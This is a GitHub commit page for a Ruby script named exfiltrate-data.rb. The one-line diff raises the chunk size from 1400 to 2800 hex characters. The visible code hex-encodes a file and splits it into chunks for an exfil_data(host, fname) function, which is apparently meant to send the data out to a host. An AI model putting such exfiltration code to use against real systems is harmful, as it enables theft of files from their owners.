Skip to content

Commit

Permalink
Let's do 2800 ASCII "bytes"
Browse files Browse the repository at this point in the history
  • Loading branch information
todb committed Jan 2, 2014
1 parent 0091cc4 commit a7137ad
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion exfiltrate-data.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
def chunked_data(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
hexified = data.each_byte.map {|x| "%0x" % x.ord}.join
hexified.scan(/.{1,1400}/)
hexified.scan(/.{1,2800}/)
end

def exfil_data(host,fname)
Expand Down

0 comments on commit a7137ad

Please sign in to comment.